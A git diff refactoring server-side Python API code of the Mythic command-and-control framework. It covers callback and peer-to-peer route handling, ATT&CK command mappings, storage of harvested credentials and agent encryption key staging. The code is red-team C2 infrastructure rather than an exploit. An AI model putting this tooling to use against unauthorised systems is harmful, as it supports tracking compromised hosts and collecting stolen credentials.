@@ -1488,11 +1700,12 @@ async def remove_callback(request, id, user):
{"status": "error", "error": "Spectators cannot make callbacks inactive"}
)
try:
- query = await db_model.callback_query()
- cal = await db_objects.get(query, id=id)
+ cal = await app.db_objects.prefetch(db_model.callback_query.where(db_model.Callback.id == cid),
+ db_model.callbacktoken_query)
+ cal = list(cal)[0]
if user["admin"] or cal.operation.name in user["operations"]:
cal.active = False
- await db_objects.update(cal)
+ await app.db_objects.update(cal)
success = {"status": "success"}
deleted_cal = cal.to_json()
return json({**success, **deleted_cal})
@@ -1504,20 +1717,20 @@ async def remove_callback(request, id, user):
}
)
except Exception as e:
- print(e)
+ logger.warning("callback_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json(
{"status": "error", "error": "failed to delete callback: " + str(e)}
)
@mythic.route(
- mythic.config["API_BASE"] + "/callbacks//all_tasking", methods=["GET"]
+ mythic.config["API_BASE"] + "/callbacks//all_tasking", methods=["GET"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def callbacks_get_all_tasking(request, user, id):
+async def callbacks_get_all_tasking(request, user, cid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -1525,56 +1738,26 @@ async def callbacks_get_all_tasking(request, user, id):
)
# Get all of the tasks and responses so far for the specified agent
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.callback_query()
- callback = await db_objects.get(query, id=id, operation=operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ callback = await app.db_objects.prefetch(db_model.callback_query.where(
+ (db_model.Callback.id == cid) & (db_model.Callback.operation == operation)),
+ db_model.CallbackToken.select()
+ )
+ callback = list(callback)[0]
cb_json = callback.to_json()
cb_json["tasks"] = []
- query = await db_model.task_query()
- tasks = await db_objects.prefetch(
- query.where(Task.callback == callback).order_by(Task.id), Command.select()
+ cb_json["payload_os"] = callback.registered_payload.os
+ tasks = await app.db_objects.execute(
+ db_model.task_query.where(Task.callback == callback).order_by(Task.id)
)
for t in tasks:
cb_json["tasks"].append({**t.to_json()})
return json({"status": "success", **cb_json})
except Exception as e:
- print(e)
+ logger.warning("callback_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": str(e)})
-@mythic.route(mythic.config["API_BASE"] + "/callbacks//keys", methods=["GET"])
-@inject_user()
-@scoped(["auth:user", "auth:apitoken_user", "auth:apitoken_c2"], False)
-async def get_callback_keys(request, user, id):
- if user["auth"] not in ["access_token", "apitoken"]:
- abort(
- status_code=403,
- message="Cannot access via Cookies. Use CLI or access via JS in browser",
- )
- if user["view_mode"] == "spectator" or user["current_operation"] == "":
- return json({"status": "error", "error": "Spectators cannot get callback keys"})
- try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.callback_query()
- callback = await db_objects.get(query, id=id, operation=operation)
- except Exception as e:
- print(e)
- return json({"status": "error", "error": "failed to find callback"})
- encryption_type = callback.encryption_type if callback.encryption_type else ""
- decryption_key = callback.decryption_key if callback.decryption_key else ""
- encryption_key = callback.encryption_key if callback.encryption_key else ""
- return json(
- {
- "status": "success",
- "encryption_type": encryption_type,
- "decryption_key": decryption_key,
- "encryption_key": encryption_key,
- }
- )
-
-
@mythic.route(
mythic.config["API_BASE"] + "/callbacks//", methods=["GET"]
)
@@ -1592,20 +1775,18 @@ async def get_pageinate_callbacks(request, user, page, size):
if page <= 0 or size <= 0:
return json({"status": "error", "error": "page or size must be greater than 0"})
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "failed to get current operation"})
- query = await db_model.callback_query()
- callbacks_query = query.where(Callback.operation == operation)
- count = await db_objects.count(callbacks_query)
+ callbacks_query = db_model.callback_query.where(Callback.operation == operation)
+ count = await app.db_objects.count(callbacks_query)
if page * size > count:
page = ceil(count / size)
if page == 0:
page = 1
- cb = await db_objects.execute(
- callbacks_query.order_by(-Callback.id).paginate(page, size)
+ cb = await app.db_objects.prefetch(
+ callbacks_query.order_by(-Callback.id).paginate(page, size), db_model.CallbackToken.select()
)
return json(
{
@@ -1634,22 +1815,20 @@ async def search_callbacks_with_pageinate(request, user):
data = request.json
if "search" not in data:
return json({"status": "error", "error": "must supply a search term"})
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
return json({"status": "error", "error": "Cannot find operation"})
try:
- query = await db_model.callback_query()
- count = await db_objects.count(
- query.where(
+ count = await app.db_objects.count(
+ db_model.callback_query.where(
(Callback.operation == operation)
& (Callback.host.regexp(data["search"]))
)
)
if "page" not in data:
- cb = await db_objects.execute(
- query.where(
+ cb = await app.db_objects.execute(
+ db_model.callback_query.where(
(Callback.operation == operation)
& (Callback.host.regexp(data["search"]))
).order_by(-Callback.id)
@@ -1675,8 +1854,8 @@ async def search_callbacks_with_pageinate(request, user):
data["page"] = ceil(count / data["size"])
if data["page"] == 0:
data["page"] = 1
- cb = await db_objects.execute(
- query.where(
+ cb = await app.db_objects.execute(
+ db_model.callback_query.where(
(Callback.operation == operation)
& (Callback.host.regexp(data["search"]))
)
@@ -1693,7 +1872,7 @@ async def search_callbacks_with_pageinate(request, user):
}
)
except Exception as e:
- print(str(e))
+ logger.warning("callback_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json({"status": "error", "error": str(e)})
@@ -1705,62 +1884,47 @@ async def add_p2p_route(agent_message, callback, task):
# "destination": "uuid of adjoining callback",
# "direction": 1 or 2 or 3,
# "metadata": "{ optional metadata json string }",
- # "action": "add" or "remove"
+ # "action": "add" or "remove"
+ # "c2_profile": "name of the c2 profile"
# }
# ]
# }
# { RESPONSE
# "status": "success" or "error"
# }
- query = await db_model.callback_query()
- profile_query = await db_model.c2profile_query()
# dijkstra is directed, so if we have a bidirectional connection (type 3) account for that as well
for e in agent_message:
+ if task is None and "task_id" in e and e["task_id"] != "" and e["task_id"] is not None:
+ try:
+ this_task = await app.db_objects.get(db_model.task_query, agent_task_id=e["task_id"])
+ except Exception as e:
+ this_task = None
+ asyncio.create_task(send_all_operations_message(message="Failed to find specified task for 'edges' message",
+ level="warning",
+ source="generic_edge_processing"))
+ else:
+ this_task = task
if e["action"] == "add":
try:
- profile = None
- source = await db_objects.get(query, agent_callback_id=e["source"])
- destination = await db_objects.get(
- query, agent_callback_id=e["destination"]
+ source = await app.db_objects.get(db_model.callback_query, agent_callback_id=e["source"])
+ destination = await app.db_objects.get(
+ db_model.callback_query, agent_callback_id=e["destination"]
)
if callback is None:
callback = source
- if source.operation.name not in current_graphs:
- current_graphs[source.operation.name] = Graph()
if (
"c2_profile" in e
and e["c2_profile"] is not None
and e["c2_profile"] != ""
):
- profile = await db_objects.get(profile_query, name=e["c2_profile"])
+ profile = await app.db_objects.get(db_model.c2profile_query, name=e["c2_profile"])
else:
- # find an overlapping p2p profile in both agents, else error
- callback_c2profile_query = await db_model.callbackc2profiles_query()
- mutual_c2 = await db_objects.execute(
- callback_c2profile_query.where(
- (
- (db_model.CallbackC2Profiles.callback == source)
- | (db_model.CallbackC2Profiles.callback == destination)
- )
- & (db_model.C2Profile.is_p2p == True)
- )
- )
- hist = []
- for cc2 in mutual_c2:
- if cc2.c2_profile.name not in hist:
- hist.append(cc2.c2_profile.name)
- else:
- profile = cc2.c2_profile
- break
- if profile is None:
- return {
- "status": "error",
- "error": "No matching p2p profiles",
- "task_id": task.agent_task_id,
- }
+ await app.db_objects.create(db_model.OperationEventLog, operation=callback.operation,
+ level="warning", message=f"Failed to add route between {source.id} and {destination.id}. No c2_profile specified")
+ return
# there can only be one source-destination-direction-metadata-c2_profile combination
try:
- edge = await db_objects.get(
+ edge = await app.db_objects.get(
db_model.CallbackGraphEdge,
source=source,
destination=destination,
@@ -1770,13 +1934,9 @@ async def add_p2p_route(agent_message, callback, task):
c2_profile=profile,
end_timestamp=None,
)
- return {
- "status": "error",
- "error": "edge already exists",
- "task_id": task.agent_task_id,
- }
+ return
except Exception as error:
- edge = await db_objects.create(
+ edge = await app.db_objects.create(
db_model.CallbackGraphEdge,
source=source,
destination=destination,
@@ -1784,28 +1944,20 @@ async def add_p2p_route(agent_message, callback, task):
metadata=e["metadata"],
operation=callback.operation,
c2_profile=profile,
- task_start=task,
+ task_start=this_task,
)
- await add_non_directed_graphs(edge)
- await add_directed_graphs(edge)
except Exception as d:
- print(d)
- if task is not None:
- return {
- "status": "error",
- "error": str(d),
- "task_id": task.agent_task_id,
- }
- else:
- return {"status": "error", "error": str(d), "task_id": None}
+ await app.db_objects.create(db_model.OperationEventLog, operation=callback.operation,
+ level="warning",
+ message=f"Failed to add p2p route. {str(sys.exc_info()[-1].tb_lineno) + ' ' + str(d)}")
+ return
if e["action"] == "remove":
try:
# find the edge its talking about
# print(e)
- profile = None
- source = await db_objects.get(query, agent_callback_id=e["source"])
- destination = await db_objects.get(
- query, agent_callback_id=e["destination"]
+ source = await app.db_objects.get(db_model.callback_query, agent_callback_id=e["source"])
+ destination = await app.db_objects.get(
+ db_model.callback_query, agent_callback_id=e["destination"]
)
if callback is None:
callback = source
@@ -1814,33 +1966,13 @@ async def add_p2p_route(agent_message, callback, task):
and e["c2_profile"] is not None
and e["c2_profile"] != ""
):
- profile = await db_objects.get(profile_query, name=e["c2_profile"])
+ profile = await app.db_objects.get(db_model.c2profile_query, name=e["c2_profile"])
else:
- # find an overlapping p2p profile in both agents, else error
- callback_c2profile_query = await db_model.callbackc2profiles_query()
- mutual_c2 = await db_objects.execute(
- callback_c2profile_query.where(
- (
- (db_model.CallbackC2Profiles.callback == source)
- | (db_model.CallbackC2Profiles.callback == destination)
- )
- & (db_model.C2Profile.is_p2p == True)
- )
- )
- hist = []
- for cc2 in mutual_c2:
- if cc2.c2_profile.name not in hist:
- hist.append(cc2.c2_profile.name)
- else:
- profile = cc2.c2_profile
- break
- if profile is None:
- return {
- "status": "error",
- "error": "No matching p2p profiles",
- "task_id": task.agent_task_id,
- }
- edge = await db_objects.get(
+ await app.db_objects.create(db_model.OperationEventLog, operation=callback.operation,
+ level="warning",
+ message=f"Failed to remove route between {source.id} and {destination.id}. c2_profile not specified")
+ return
+ edge = await app.db_objects.get(
db_model.CallbackGraphEdge,
source=source,
destination=destination,
@@ -1851,86 +1983,29 @@ async def add_p2p_route(agent_message, callback, task):
end_timestamp=None,
)
edge.end_timestamp = datetime.utcnow()
- edge.task_end = task
- await db_objects.update(edge)
- if source.operation.name not in current_graphs:
- current_graphs[source.operation.name] = Graph()
- try:
- await remove_non_directed_graphs(edge)
- await remove_directed_graphs(edge)
- except Exception as e:
- print("failed to remove edge from graph: " + str(e))
- pass
+ edge.task_end = this_task
+ await app.db_objects.update(edge)
except Exception as d:
- print(d)
- if task is not None:
- return {
- "status": "error",
- "error": str(d),
- "task_id": task.agent_task_id,
- }
- else:
- return {"status": "error", "error": str(d), "task_id": task}
- if task is not None:
- return {"status": "success", "task_id": task.agent_task_id}
- else:
- return {"status": "success", "task_id": task}
-
-
-async def remove_directed_graphs(edge):
- if edge.source.operation.name not in current_graphs:
- current_graphs[edge.source.operation.name] = Graph()
- if edge.direction == 1:
- current_graphs[edge.source.operation.name].remove_edge(
- edge.source, edge.destination
- )
- elif edge.direction == 2:
- current_graphs[edge.source.operation.name].remove_edge(
- edge.destination, edge.source
- )
- else:
- current_graphs[edge.source.operation.name].remove_edge(
- edge.source, edge.destination
- )
- current_graphs[edge.source.operation.name].remove_edge(
- edge.destination, edge.source
- )
-
-
-async def add_directed_graphs(edge):
- if edge.source.operation.name not in current_graphs:
- current_graphs[edge.source.operation.name] = Graph()
- if edge.direction == 1:
- current_graphs[edge.source.operation.name].add_edge(
- edge.source, edge.destination, 1
- )
- elif edge.direction == 2:
- current_graphs[edge.source.operation.name].add_edge(
- edge.destination, edge.source, 1
- )
- else:
- current_graphs[edge.source.operation.name].add_edge(
- edge.source, edge.destination, 1
- )
- current_graphs[edge.source.operation.name].add_edge(
- edge.destination, edge.source, 1
- )
+ await app.db_objects.create(db_model.OperationEventLog, operation=callback.operation,
+ level="warning",
+ message=f"Failed to remove route. {str(sys.exc_info()[-1].tb_lineno) + ' ' + str(d)}")
+ return
+ return
-async def path_to_callback(callback):
+async def path_to_callback(callback, destination):
try:
- await update_non_directed_graphs(callback.operation)
- if current_non_directed_graphs[callback.operation.name].edge_count == 0:
- #print("no edges")
+ graph = await get_graph(callback.operation, directed=False)
+ if graph.edge_count == 0:
return [] # graph for this operation has no edges
try:
path = find_path(
- current_non_directed_graphs[callback.operation.name], callback, "Mythic"
+ graph, callback, destination, cost_func=cost_func
)
except NoPathError:
- #print("no path")
return []
return path.nodes
except Exception as e:
- print("error in path_to_callback: " + str(e))
+ asyncio.create_task(send_all_operations_message(message=f"Error in getting path to callback:\n{str(sys.exc_info()[-1].tb_lineno) + ' ' + str(e)}",
+ level="warning", operation=callback.operation))
return []
diff --git a/mythic-docker/app/api/command_api.py b/mythic-docker/app/api/command_api.py
index c35e0cd9f..3f8842df6 100755
--- a/mythic-docker/app/api/command_api.py
+++ b/mythic-docker/app/api/command_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import Command, CommandParameters, ATTACKCommand
from sanic_jwt.decorators import scoped, inject_user
@@ -22,16 +23,14 @@ async def get_all_commands(request, user):
if user["current_operation"] == "":
return json({"status": "error", "error": "Must be part of a current operation to see this"})
all_commands = []
- query = await db_model.command_query()
- commands = await db_objects.execute(
- query.where(
+ commands = await app.db_objects.execute(
+ db_model.command_query.where(
(Command.deleted == False) & (db_model.PayloadType.deleted == False)
).order_by(Command.id)
)
for cmd in commands:
- query = await db_model.commandparameters_query()
- params = await db_objects.execute(
- query.where(CommandParameters.command == cmd).order_by(CommandParameters.id)
+ params = await app.db_objects.execute(
+ db_model.commandparameters_query.where(CommandParameters.command == cmd).order_by(CommandParameters.id)
)
all_commands.append({**cmd.to_json(), "params": [p.to_json() for p in params]})
return json(all_commands)
@@ -57,23 +56,19 @@ async def check_command(request, user, ptype, cmd):
status = {"status": "success"}
cmd = unquote_plus(cmd)
try:
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, id=ptype)
+ payload_type = await app.db_objects.get(db_model.payloadtype_query, id=ptype)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to get payload type"})
try:
- query = await db_model.command_query()
- command = await db_objects.get(
- query, cmd=cmd, payload_type=payload_type, deleted=False
+ command = await app.db_objects.get(
+ db_model.command_query, cmd=cmd, payload_type=payload_type, deleted=False
)
- query = await db_model.commandparameters_query()
- params = await db_objects.execute(
- query.where(CommandParameters.command == command)
+ params = await app.db_objects.execute(
+ db_model.commandparameters_query.where(CommandParameters.command == command)
)
- query = await db_model.attackcommand_query()
- attacks = await db_objects.execute(
- query.where(ATTACKCommand.command == command)
+ attacks = await app.db_objects.execute(
+ db_model.attackcommand_query.where(ATTACKCommand.command == command)
)
status = {
**status,
@@ -89,13 +84,13 @@ async def check_command(request, user, ptype, cmd):
@mythic.route(
- mythic.config["API_BASE"] + "/commands//parameters/", methods=["GET"]
+ mythic.config["API_BASE"] + "/commands//parameters/", methods=["GET"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def get_all_parameters_for_command(request, user, id):
+async def get_all_parameters_for_command(request, user, cid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -104,13 +99,11 @@ async def get_all_parameters_for_command(request, user, id):
if user["current_operation"] == "":
return json({"status": "error", "error": "Must be part of a current operation to see this"})
try:
- query = await db_model.command_query()
- command = await db_objects.get(query, id=id)
+ command = await app.db_objects.get(db_model.command_query, id=cid)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find that command"})
- query = await db_model.commandparameters_query()
- params = await db_objects.execute(query.where(CommandParameters.command == command))
+ params = await app.db_objects.execute(db_model.commandparameters_query.where(CommandParameters.command == command))
return json([p.to_json() for p in params])
@@ -118,13 +111,13 @@ async def get_all_parameters_for_command(request, user, id):
@mythic.route(
- mythic.config["API_BASE"] + "/commands//mitreattack/", methods=["GET"]
+ mythic.config["API_BASE"] + "/commands//mitreattack/", methods=["GET"]
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def get_all_attack_mappings_for_command(request, user, id):
+async def get_all_attack_mappings_for_command(request, user, cid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -133,25 +126,23 @@ async def get_all_attack_mappings_for_command(request, user, id):
if user["current_operation"] == "":
return json({"status": "error", "error": "Must be part of a current operation to see this"})
try:
- query = await db_model.command_query()
- command = await db_objects.get(query, id=id)
+ command = await app.db_objects.get(db_model.command_query, id=cid)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find that command"})
- query = await db_model.attackcommand_query()
- attacks = await db_objects.execute(query.where(ATTACKCommand.command == command))
+ attacks = await app.db_objects.execute(db_model.attackcommand_query.where(ATTACKCommand.command == command))
return json({"status": "success", "attack": [a.to_json() for a in attacks]})
@mythic.route(
- mythic.config["API_BASE"] + "/commands//mitreattack/",
+ mythic.config["API_BASE"] + "/commands//mitreattack/",
methods=["DELETE"],
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def remove_attack_mapping_for_command(request, user, id, t_num):
+async def remove_attack_mapping_for_command(request, user, cid, t_num):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -162,28 +153,25 @@ async def remove_attack_mapping_for_command(request, user, id, t_num):
{"status": "error", "error": "Spectators cannot remove MITRE mappings"}
)
try:
- query = await db_model.command_query()
- command = await db_objects.get(query, id=id)
- query = await db_model.attack_query()
- attack = await db_objects.get(query, t_num=t_num)
- query = await db_model.attackcommand_query()
- attackcommand = await db_objects.get(query, command=command, attack=attack)
+ command = await app.db_objects.get(db_model.command_query, id=cid)
+ attack = await app.db_objects.get(db_model.attack_query, t_num=t_num)
+ attackcommand = await app.db_objects.get(db_model.attackcommand_query, command=command, attack=attack)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find that command"})
- await db_objects.delete(attackcommand)
+ await app.db_objects.delete(attackcommand)
return json({"status": "success", "t_num": attack.t_num, "command_id": command.id})
@mythic.route(
- mythic.config["API_BASE"] + "/commands//mitreattack/",
+ mythic.config["API_BASE"] + "/commands//mitreattack/",
methods=["POST"],
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def create_attack_mappings_for_command(request, user, id, t_num):
+async def create_attack_mappings_for_command(request, user, cid, t_num):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -194,32 +182,29 @@ async def create_attack_mappings_for_command(request, user, id, t_num):
{"status": "error", "error": "Spectators cannot add MITRE mappings"}
)
try:
- query = await db_model.command_query()
- command = await db_objects.get(query, id=id)
- query = await db_model.attack_query()
- attack = await db_objects.get(query, t_num=t_num)
+ command = await app.db_objects.get(db_model.command_query, id=cid)
+ attack = await app.db_objects.get(db_model.attack_query, t_num=t_num)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find that command"})
try:
- query = await db_model.attackcommand_query()
- attackcommand = await db_objects.get(query, attack=attack, command=command)
+ attackcommand = await app.db_objects.get(db_model.attackcommand_query, attack=attack, command=command)
except Exception as e:
- attackcommand = await db_objects.create(
+ attackcommand = await app.db_objects.create(
ATTACKCommand, attack=attack, command=command
)
return json({"status": "success", **attackcommand.to_json()})
@mythic.route(
- mythic.config["API_BASE"] + "/commands//mitreattack/",
+ mythic.config["API_BASE"] + "/commands//mitreattack/",
methods=["PUT"],
)
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def adjust_attack_mappings_for_command(request, user, id, t_num):
+async def adjust_attack_mappings_for_command(request, user, cid, t_num):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -231,15 +216,12 @@ async def adjust_attack_mappings_for_command(request, user, id, t_num):
)
data = request.json
try:
- query = await db_model.command_query()
- command = await db_objects.get(query, id=id)
- query = await db_model.attack_query()
- newattack = await db_objects.get(query, t_num=t_num)
- query = await db_model.attackcommand_query()
- attackcommand = await db_objects.get(query, id=data["id"], command=command)
+ command = await app.db_objects.get(db_model.command_query, id=cid)
+ newattack = await app.db_objects.get(db_model.attack_query, t_num=t_num)
+ attackcommand = await app.db_objects.get(db_model.attackcommand_query, id=data["id"], command=command)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find that command"})
attackcommand.attack = newattack
- await db_objects.update(attackcommand)
+ await app.db_objects.update(attackcommand)
return json({"status": "success", **attackcommand.to_json()})
diff --git a/mythic-docker/app/api/credential_api.py b/mythic-docker/app/api/credential_api.py
index 49d57b7f2..8514211ae 100755
--- a/mythic-docker/app/api/credential_api.py
+++ b/mythic-docker/app/api/credential_api.py
@@ -1,11 +1,12 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import Credential
from sanic_jwt.decorators import scoped, inject_user
import app.database_models.model as db_model
from sanic.exceptions import abort
from app.api.siem_logger import log_to_siem
-
+import asyncio
@mythic.route(
mythic.config["API_BASE"] + "/credentials/current_operation", methods=["GET"]
@@ -22,14 +23,12 @@ async def get_current_operation_credentials(request, user):
)
if user["current_operation"] != "":
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
except Exception as e:
print(e)
return json({"status": "error", "error": "Failed to get current operation"})
- query = await db_model.credential_query()
- creds = await db_objects.execute(
- query.where(
+ creds = await app.db_objects.execute(
+ db_model.credential_query.where(
(Credential.operation == operation) & (Credential.deleted == False)
)
)
@@ -53,10 +52,8 @@ async def create_credential(request, user):
return json({"status": "error", "error": "Spectators cannot add credentials"})
if user["current_operation"] != "":
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to get operation"})
@@ -83,23 +80,25 @@ async def create_credential_func(operator, operation, data):
data["account"] = ""
if "comment" not in data:
data["comment"] = ""
+ if "metadata" not in data:
+ data["metadata"] = ""
if "task" not in data or data["task"] == "":
try:
# trying to prevent duplication of data in the database
- query = await db_model.credential_query()
- cred = await db_objects.get(
- query,
+ cred = await app.db_objects.get(
+ db_model.credential_query,
type=data["credential_type"],
account=data["account"],
deleted=False,
realm=data["realm"],
operation=operation,
credential=data["credential"].encode(),
+ metadata=data["metadata"]
)
status["new"] = False
except Exception as e:
# we got here because the credential doesn't exist, so we need to create it
- cred = await db_objects.create(
+ cred = await app.db_objects.create(
Credential,
type=data["credential_type"],
account=data["account"],
@@ -108,24 +107,25 @@ async def create_credential_func(operator, operation, data):
credential=data["credential"].encode(),
operator=operator,
comment=data["comment"],
+ metadata=data["metadata"]
)
- await log_to_siem(cred.to_json(), mythic_object="credential_new")
+ asyncio.create_task( log_to_siem(mythic_object=cred, mythic_source="credential_new") )
else:
try:
- query = await db_model.credential_query()
- cred = await db_objects.get(
- query,
+ cred = await app.db_objects.get(
+ db_model.credential_query,
type=data["credential_type"],
account=data["account"],
deleted=False,
realm=data["realm"],
operation=operation,
credential=data["credential"].encode(),
+ metadata=data["metadata"]
)
status["new"] = False
except Exception as e:
# we got here because the credential doesn't exist, so we need to create it
- cred = await db_objects.create(
+ cred = await app.db_objects.create(
Credential,
type=data["credential_type"],
account=data["account"],
@@ -135,17 +135,18 @@ async def create_credential_func(operator, operation, data):
credential=data["credential"].encode(),
operator=operator,
comment=data["comment"],
+ metadata=data["metadata"]
)
- await log_to_siem(cred.to_json(), mythic_object="credential_new")
+ asyncio.create_task(log_to_siem(mythic_object=cred, mythic_source="credential_new"))
return {**status, **cred.to_json()}
-@mythic.route(mythic.config["API_BASE"] + "/credentials/", methods=["DELETE"])
+@mythic.route(mythic.config["API_BASE"] + "/credentials/", methods=["DELETE"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def remove_credential(request, user, id):
+async def remove_credential(request, user, cid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -157,26 +158,24 @@ async def remove_credential(request, user, id):
)
if user["current_operation"] != "":
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.credential_query()
- credential = await db_objects.get(query, id=id, operation=operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ credential = await app.db_objects.get(db_model.credential_query, id=cid, operation=operation)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to find that credential"})
credential.deleted = True
- await db_objects.update(credential)
+ await app.db_objects.update(credential)
return json({"status": "success", **credential.to_json()})
else:
return json({"status": "error", "error": "must be part of a current operation"})
-@mythic.route(mythic.config["API_BASE"] + "/credentials/", methods=["PUT"])
+@mythic.route(mythic.config["API_BASE"] + "/credentials/", methods=["PUT"])
@inject_user()
@scoped(
["auth:user", "auth:apitoken_user"], False
) # user or user-level api token are ok
-async def modify_credential(request, user, id):
+async def modify_credential(request, user, cid):
if user["auth"] not in ["access_token", "apitoken"]:
abort(
status_code=403,
@@ -188,10 +187,8 @@ async def modify_credential(request, user, id):
)
if user["current_operation"] != "":
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.credential_query()
- credential = await db_objects.get(query, id=id, operation=operation)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ credential = await app.db_objects.get(db_model.credential_query, id=cid, operation=operation)
except Exception as e:
print(e)
return json({"status": "error", "error": "failed to get credential"})
@@ -214,8 +211,8 @@ async def update_credential_func(cred, data):
cred.account = data["account"]
if "comment" in data:
cred.comment = data["comment"]
- await db_objects.update(cred)
- await log_to_siem(cred.to_json(), mythic_object="credential_modified")
+ await app.db_objects.update(cred)
+ asyncio.create_task(log_to_siem(mythic_object=cred, mythic_source="credential_modified"))
return {"status": "success", **cred.to_json()}
except Exception as e:
return {"status": "error", "error": str(e)}
diff --git a/mythic-docker/app/api/crypto_api.py b/mythic-docker/app/api/crypto_api.py
index a0e8527b1..49e1a35be 100755
--- a/mythic-docker/app/api/crypto_api.py
+++ b/mythic-docker/app/api/crypto_api.py
@@ -1,43 +1,56 @@
-from app import db_objects
-from app.database_models.model import StagingInfo
+import app
+from app.database_models.model import StagingInfo, payload_query
import base64
import app.crypto as crypt
-import ujson as js
from sanic.log import logger
from uuid import uuid4
-async def decrypt_agent_message(request, callback):
- try:
- if callback.encryption_type != "" and callback.encryption_type is not None:
- if callback.encryption_type == "AES256":
- # now handle the decryption
- decrypted_message = await crypt.decrypt_AES256(
- data=base64.b64decode(request.body),
- key=base64.b64decode(callback.decryption_key),
- )
- return js.loads(decrypted_message.decode("utf-8"))
- return None
- return request.json
- except Exception as e:
- print("Failed to decrypt in decrypt_agent_message: {}".format(str(e)))
- return None
+async def generate_enc_dec_keys(crypto_type):
+ if crypto_type == "aes256_hmac":
+ aes_key = await crypt.create_key_AES256()
+ return {
+ "enc_key": base64.b64decode(aes_key),
+ "dec_key": base64.b64decode(aes_key)
+ }
+ else:
+ return {
+ "enc_key": None,
+ "dec_key": None
+ }
-async def encrypt_agent_message(message, callback):
- try:
- if callback.encryption_type != "" and callback.encryption_type is not None:
- # encrypt the message before returning it
- if callback.encryption_type == "AES256":
- raw_encrypted = await crypt.encrypt_AES256(
- data=message.encode(), key=base64.b64decode(callback.encryption_key)
- )
- return base64.b64encode(raw_encrypted)
- return None
- return message.encode()
- except Exception as e:
- print("failed to encrypt in encrypt_agent_message: {}".format(str(e)))
- return None
+# async def decrypt_agent_message(request, callback):
+# try:
+# if callback.crypto_type != "" and callback.crypto_type is not None:
+# if callback.crypto_type == "aes256_hmac":
+# # now handle the decryption
+# decrypted_message = await crypt.decrypt_AES256(
+# data=base64.b64decode(request.body),
+# key=base64.b64decode(callback.decryption_key),
+# )
+# return js.loads(decrypted_message.decode("utf-8"))
+# return None
+# return request.json
+# except Exception as e:
+# print("Failed to decrypt in decrypt_agent_message: {}".format(str(e)))
+# return None
+#
+#
+# async def encrypt_agent_message(message, callback):
+# try:
+# if callback.crypto_type != "" and callback.crypto_type is not None:
+# # encrypt the message before returning it
+# if callback.crypto_type == "aes256_hmac":
+# raw_encrypted = await crypt.encrypt_AES256(
+# data=message.encode(), key=callback.enc_key
+# )
+# return base64.b64encode(raw_encrypted)
+# return None
+# return message.encode()
+# except Exception as e:
+# print("failed to encrypt in encrypt_agent_message: {}".format(str(e)))
+# return None
async def staging_rsa(decrypted_message_json, UUID):
@@ -55,11 +68,14 @@ async def staging_rsa(decrypted_message_json, UUID):
# Save session_key and SESSIONID into database
temp_uuid = str(uuid4())
try:
- stage_info = await db_objects.create(
+ payload = await app.db_objects.get(payload_query, uuid=UUID)
+ stage_info = await app.db_objects.create(
StagingInfo,
session_id=decrypted_message_json["session_id"],
- session_key=session_key_encoded,
- payload_uuid=UUID,
+ enc_key=base64.b64decode(session_key_encoded),
+ dec_key=base64.b64decode(session_key_encoded),
+ crypto_type="aes256_hmac",
+ payload=payload,
staging_uuid=temp_uuid,
)
except Exception as e:
